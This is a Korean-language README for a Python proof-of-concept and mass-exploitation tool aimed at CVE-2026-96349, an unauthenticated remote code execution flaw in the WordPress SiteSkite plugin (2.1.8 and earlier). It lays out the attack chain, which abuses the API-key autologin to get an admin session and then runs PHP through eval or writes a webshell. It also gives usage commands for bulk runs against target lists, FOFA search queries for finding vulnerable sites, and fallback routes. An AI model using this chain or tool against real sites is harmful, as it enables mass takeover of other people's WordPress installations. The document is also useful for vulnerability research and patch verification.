
CVE-2026-96349에 대한 Python PoC 및 대량 익스플로잇 도구로, WordPress SiteSkite 플러그인 ≤2.1.8에서 API 키 자동 로그인과 MCP PHP eval을 통한 인증되지 않은 RCE 취약점입니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-96349 |
| 제품 | SiteSkite WordPress 플러그인 |
| 영향 받는 버전 | ≤ 2.1.8 |
| 수정 버전 | 2.2.0 |
| CWE | CWE-94 — 코드 생성의 부적절한 제어 |
| CVSS | 10.0 (치명적) — Patchstack 권고 |
| PoCbit 카탈로그 | https://pocbit.org/pocs/ |
| PoCbit 페이지 | https://pocbit.org/pocs/cve-2026-96349 |
| 검증 마커 | POCBIT-96349-OK |
CVE-2026-102425와 동일한 스타일의 Python PoC: 대화형 메뉴, 대량 익스플로잇(기본값), --check, -u, --lab, 스레드 풀, hits.txt / exploited.txt.
Patchstack과 CVE Program은 CVE-2026-96349를 SiteSkite 플러그인의 인증되지 않은 원격 코드 실행 결함으로 설명합니다. 공개된 텍스트는 의도적으로 짧습니다. 벤더 수정 버전 2.2.0(2026년 9월)은 인증 및 자동 로그인 부분을 대폭 변경합니다. 이 저장소에서 2.1.8과 2.2.0을 정적으로 비교한 결과(extract-2.1.8/, extract-2.2.0/)는 이 PoC가 구현하는 실질적인 공격 표면을 보여줍니다.
SiteSkite는 백업, 포털 API, 그리고 공격자가 제공한 PHP에 대해 **eval()**을 호출하는 고급 도구(siteskite_execute_php)와 임의 파일 쓰기(siteskite_write_file)를 포함하는 온사이트 AI MCP("abilities")를 갖춘 대규모 WebOps 플러그인입니다. 이러한 ability는 사이트가 SiteSkite API 키로 연결되어 있을 때 REST와 **admin-ajax.php**를 통해 접근할 수 있습니다.
≤ 2.1.8의 치명적인 실수는 동일한 장기 유효 API 키가 인증되지 않은 WordPress 관리자 로그인 베어러 역할도 겸한다는 점입니다:
AutoLoginController**는 **/siteskite-autologin**에서 ?token=<siteskite_api_key>를 허용하며, **handle_token_login()**을 통해 ?token=…을 포함하는 모든 프런트엔드 URL에서도 허용합니다.get_option('siteskite_api_key')에 대한 단순 동등 비교를 사용합니다(포털 서명 없음, 일회용 nonce 없음).wp_set_auth_cookie()를 호출하며, Solid Security 또는 유사 플러그인에 대한 선택적 2FA 우회가 가능합니다.2.2.0은 이 경로를 제거합니다: 원시 API 키 베어러는 거부되고(hash_equals 검사, "Login Unavailable"), 로그인에는 포털이 발급한 서명된 링크(AutologinPortalSignature)가 필요합니다. mu-plugin 안전 코어는 더 이상 레거시 키 로그인을 허용하지 않습니다.
공격자 관점에서 체인은 다음과 같습니다:
/?token=KEY 또는 /siteskite-autologin?token=KEY)을 통해 관리자 세션을 입증합니다.X-SiteSkite-Key: KEY**와 함께 POST /wp-json/siteskite/v1/abilities/execute(또는 admin-ajax.php?action=siteskite_api)를 호출하고 **siteskite_execute_php**를 실행하거나 **siteskite_write_file**을 통해 **up.php**를 배치합니다 → POCBIT-96349-OK.고급 MCP 도구는 2.1.8에서 기본적으로 켜져 있으므로(McpSettings::DEFAULT_ADVANCED = '1'), 키가 알려지면 많은 연결된 사이트가 eval을 노출합니다.
| 구성 요소 | 2.1.8 동작 | 2.2.0 변경 사항 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token=가 저장된 API 키와 일치 → 관리자 쿠키 | 원시 키 거부됨; 포털 HMAC 로그인만 허용 |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | 여전히 존재; 인증 + 설정으로 제한됨 |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → abilities 실행 | 동일한 표면; 자동 로그인이 더 이상 키 없이 세션을 유출하지 않음 |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api가 키가 유효할 때 abilities를 프록시함 | 여전히 키 / 게스트 키 필요 |
다른 인증되지 않은 REST 경로(UploadRest, OAuth 등록)도 존재하지만 토큰 또는 PKCE를 요구하므로, 여기서 모델링하는 주요 공격 체인이 아닙니다.
| 파일 | 역할 |
|---|---|
poc.py | CLI / 대화형 / 대량 익스플로잇 |
_engine.py | HTTP 로직, PoCbit 메타데이터, 랩 서버 |
up.php | 선택적 웹 셸 프로브 (?pocbit=1 → 마커) |
targets.example.txt | URL 목록; 선택적으로 URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | diff용 벤더 소스 (PoC 실행에는 필요하지 않음) |
pip install requests coloramapython poc.py
프롬프트: 모드, 선택적 전역 API 키, 대상 파일, 스레드(기본값 16), 타임아웃.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
대상별 키(URL 뒤에 탭, 공백 또는 파이프):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
환경 폴백: SITESKITE_API_KEY 또는 SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
지문: readme.txt Stable tag, 레거시 /siteskite-autologin 누락된 토큰 응답, 버전 ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
127.0.0.1:8796을(를) 가짜 readme 2.1.8, 자동 로그인, abilities 엔드포인트와 함께 실행하며, "exploited": true를 반환해야 합니다.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php**와 echo POCBIT-96349-OK;route=/abilities/execute)을 통한 동일 방식siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval**로 up.php용 헬퍼 드롭JSON 결과 행에는 pocbit, pocbit_catalog, pocbit_page, CVE URL, 그리고 로깅 파이프라인용 verify_marker가 포함됩니다.
예시(사용 중인 인덱서에 맞게 조정):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
검사 모드는 API 키를 브루트포스하지 않습니다. 익스플로잇 모드는 자체 포털이나 유출 정보에서 이미 url\tkey 쌍을 확보하지 않은 한 키가 필요합니다.
/siteskite-autologin에 대한 외부 접근을 차단하고 ?token= / X-SiteSkite-Key 악용에 대한 로그를 감사하십시오.소유하고 있거나 테스트에 대한 서면 승인을 받은 시스템에서만 사용하십시오. 무단 접근은 불법입니다.
CVE-2026-96349 — WordPress SiteSkite plugin ≤2.1.8 unauthenticated RCE (CVSS 10.0, CWE-94). PoCbit mass-exploit PoC: legacy API-key autologin (?token=) + REST MCP siteskite_execute_php eval chain; fixed in 2.2.0. Check/exploit/mass bulk, hits.txt & exploited.txt, --lab self-test. Marker: POCBIT-96349-OK. Catalog: https://pocbit.org/pocs/cve-2026-96349